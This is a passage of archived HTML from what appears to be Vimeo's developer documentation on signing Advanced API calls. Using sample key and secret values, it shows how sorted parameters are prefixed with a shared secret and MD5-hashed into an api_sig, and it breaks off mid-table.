2g5QwQOYNflmbOhqaYZYq7pZhpavCmnExpIMeedTGCBBJ58DgEFADz0KagNBugwQgZxDqroDTmIEAIAOw==" style="border-width: 0px; border-style: none; margin: 0px; padding: 16px 0px 0px; border-color: white; "/>
</a>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:13.4em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
</li>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); width:2.3em;float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;margin: 0px; padding: 16px 18px 21px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/videos" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Videos</a>
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/videos" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Videos
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/albums" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Albums
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/groups" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Groups
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/channels" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Channels
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/likes" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Likes
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: rgb(23, 35, 34); margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/inbox/subscriptions" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">My Subscriptions</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:10em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
</li>
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:5.3em;margin: 0px; padding: 16px 0px 21px; ">
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -33px; padding: 0px; ">
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: -20px 0px 0px; padding: 20px 18px 0px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Home Page</a>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="right:-12px;width:12px;height:10px;position:absolute;top:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Profile</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599/contacts" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Contacts
<span style="color:rgb(187, 187, 187);font-size:10px;margin: 0px; padding: 0px; ">(0)</span></a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/conversations" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">My Conversations</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/settings" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Settings</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;color:rgb(247, 83, 66);background-color: rgb(23, 35, 34); width:110px;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/log_out" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(247, 83, 66);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Logout</a></li>
<li style="list-style-type:none;cursor:pointer;float:left;width:110px;background-color: transparent; position:relative;margin: 0px; padding: 0px 18px; ">
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</li>
</ul>
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(3, 149, 204);outline: invert none medium; margin: 0px; padding: 0px; "><img src="611a2426c1622266efe3d377354514c2b0ac6c9b.jpg" style="z-index:1999999;position:absolute;top:8px;height:24px;width:24px;vertical-align:middle;border-width: 3px; border-style: solid; margin: 0px; padding: 0px; border-color: rgb(119, 212, 253); "/></a>
<div style="position:absolute;margin: 0px; padding: 0px 0px 0px 37px; ">
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/user1389599" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Me</a>
</div>.
</li>
</ul>
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAyCAYAAABRYothAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNpiFFdW+s9ABcDEQCUwatCoQaMGjRo0atCoQaMGjTyDflHLoC/UMugFtQy6Ri2DzlLLoIPUMugUED+ihkF/gXgZtRLkFErTE8ygp0A8i1pZpB6I31HDIJAhWdTKtCuh4UWV3F8AxJuoYRAoOUQA8VZqlEffgdiflJjEV7CBXJYOxKHElBDElJBrgFgVmjy+UFrUggxoAmIlIG4F4pvoChiBHT9yk44iEIcDsTEQqwAEGAB4Dx9oMGHI6wAAAABJRU5ErkJggg==" style="width:18px;height:50px;float:right;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
</div>
<div style="position:absolute;top:100px;right:20px;text-align:right;width:400px;margin: 0px; padding: 0px; ">
</div>
</div>
<div style="background-image:url(data:image/gif;base64,R0lGODlh1AMZAMQAAOfn3vX18f39/enp4P7+/u/v6fj49fPz7/f39Ojo3+rq4vLy7ezs5fv7+ujo4Pr6+P39/P7+/fz8+/Ly7vPz7urq4fv7+f///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAADUAxkAAAX/ICCOJKksyHOtbOu+cCzPdG3feK7vfO//wKBwSCwaj8ikcslsOp/QqHQqfSAWipJ2ux0cLNSweEwum8/otHrNbrvf8LjQchhw7yMHJSLv+/+AgYKDhIWGh4iJNBEUDnhbBRCKk5SVlpeYmZqbnJcQBY8kAZ2kpaanqKmqq6xwAaEJBq2ztLW2t7i5uoEGCXiyu8HCw8TFxse1BnejyM3Oz9DR0tNOr1oF1Nna29zd3rqgJAMC3+Xm5+jp6mwCdiPM6/Hy8/T19i/WABUE9/3+/wADCiNQQcQBgQgTKlzIENEBERIaSpxIsaJFJxIAMLjIsaPHjyBZMJgQsqTJkyjnQ01AkLKly5cwkSFoELOmzZs4SzUgl7Onz59A+wjgF7So0aNInRBNyrSp06dQo0qdSrWq1atYs2rdyrWr169gw4p9EgIAOw==);background-color: rgb(255, 255, 255); width:980px;font-size:11px;background-position: 0% 0%; background-repeat: no-repeat; margin: 0px; padding: 0px; ">
<div style="position:relative;margin: 0px 0px 2em; padding: 0px 20px; ">
<h1 style="font-family:arial, sans-serif;color:rgb(62, 62, 62);font:normal normal normal 36px/normal arial, sans-serif;font-weight:bold;line-height:36px;margin: 0px; padding: 20px 20px 0px 0px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Developers</a>
/ <a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/advanced-api" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;outline: invert none medium; margin: 0px; padding: 0px; ">Advanced API</a>
/ Signing API Calls</h1>
</div>
<div style="width:940px;margin: 0px; padding: 0px 20px; ">
<div style="float:left;color:rgb(62, 62, 62);font-size:11px;width:620px;margin: 0px 10px 0px 0px; padding: 0px; ">
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Signing method calls is the same for desktop and web based programs. This means on top of the parameters you request, you need to pass your
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">api_key</code>
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(not your secret)</span>
and the <code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">api_sig</code>
based on those parameters.</div>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Let's assume that our API key is
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code>, our shared secret is
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">sec12345</code>.</div>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Generating a signature is easy and can be done in any programming language. To make our signature, we take a string of the arguments being passed, and prepend our shared secret.</div>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">For this example, we'll make a call to
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList()</code>. Our parameters are the following:</div>
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); ">
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
method<br style="margin: 0px; padding: 0px; "/>
video_id<br style="margin: 0px; padding: 0px; "/>
api_key </div>
<div style="float:left;margin: 0px; padding: 0px; ">
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">vimeo.videos.comments.getList</code><br style="margin: 0px; padding: 0px; "/>
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">375747</code><br style="margin: 0px; padding: 0px; "/>
<code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">df3f791718032a70119d35d65d8b6d0d</code>
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(this is required in every method call)</span>
</div>
<div style="display:block;clear:both;visibility:hidden;margin: 0px; padding: 0px; "></div>
</blockquote>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Now we'll generate the base of our signature by creating a string of our parameter name/value pairs in alphabetical order. Do not escape any characters when generating this string, all characters should be unescaped.</div>
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
<strong style="margin: 0px; padding: 0px; ">api_key</strong>df3f791718032a70119d35d65d8b6d0d<strong style="margin: 0px; padding: 0px; ">method</strong>vimeo.videos.comments.getList<strong style="margin: 0px; padding: 0px; ">video_id</strong>375747
</code></blockquote>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Next, we prepend that string with our shared secret
<span style="color:rgb(150, 150, 150);margin: 0px; padding: 0px; ">(green)</span>.</div>
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
<span style="color:green;margin: 0px; padding: 0px; ">sec12345</span><strong style="margin: 0px; padding: 0px; ">api_key</strong>df3f791718032a70119d35d65d8b6d0d<strong style="margin: 0px; padding: 0px; ">method</strong>vimeo.videos.comments.getList<strong style="margin: 0px; padding: 0px; ">video_id</strong>375747
</code></blockquote>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">Now we'll take the MD5 hash of the signature and add it to our parameters.</div>
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); "><code style="color:rgb(204, 0, 0);font:normal normal normal 11px/14px monaco, courier, mono-space;margin: 0px; padding: 0px; ">
c5370e4b0c550494ba49d86893a0384f </code></blockquote>
<div style="font:normal normal normal 11px/16px verdana, sans-serif;margin: 0px 0px 15px; padding: 0px; ">So the final set of parameters passed to the API will be:</div>
<blockquote style="color:rgb(94, 94, 94);background-color: rgb(253, 253, 253); border-width: 1px; border-style: dotted; margin: 10px 0px; padding: 10px 20px; border-color: rgb(214, 214, 214); ">
<div style="color:rgb(62, 62, 62);font-weight:bold;float:left;text-align:right;margin: 0px 10px 0px 0px; padding: 0px; ">
method<br style="margin: 0px; padding: 0px; "/>
video_id<br style="margin: 0px; padding: 0px; "/>
api_key<br style="margin: 0px; padding: 0px; "/>
api_sig </div>
<div style="float:left;margin: 0px; padding: 0px; ">
